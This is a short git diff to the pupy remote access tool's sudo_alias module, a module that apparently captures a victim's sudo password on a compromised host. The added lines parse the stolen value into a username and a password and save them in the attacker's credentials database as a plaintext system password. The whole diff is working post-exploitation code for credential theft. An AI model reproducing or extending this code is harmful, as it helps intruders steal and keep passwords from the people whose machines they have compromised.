diff --git a/pupy/modules/sudo_alias.py b/pupy/modules/sudo_alias.py index bf4eea1c..83b301ef 100644 --- a/pupy/modules/sudo_alias.py +++ b/pupy/modules/sudo_alias.py @@ -1,5 +1,6 @@ # -*- coding: utf-8 -*- from pupylib.PupyModule import * +from pupylib.utils.credentials import Credentials __class_name__="SudoAlias" @@ -24,6 +25,14 @@ class SudoAlias(PupyModule): self.error("nothing find, be patient !") else: self.success("Sudo password found: %s" % data) + + # add password to the database + username = data.split('/')[0] + password = data.replace(username, '')[1:] + db = Credentials() + db.add([{'Login': username, 'password':password, 'CredType': 'plaintext', 'Category': 'System password', 'uid': self.client.short_name()}]) + self.success("Credentials stored on the database") + elif args.action=="stop": if not self.client.conn.modules["sudo_alias"].sudo_alias_stop(): self.error('the alias has not been created yet (run start)')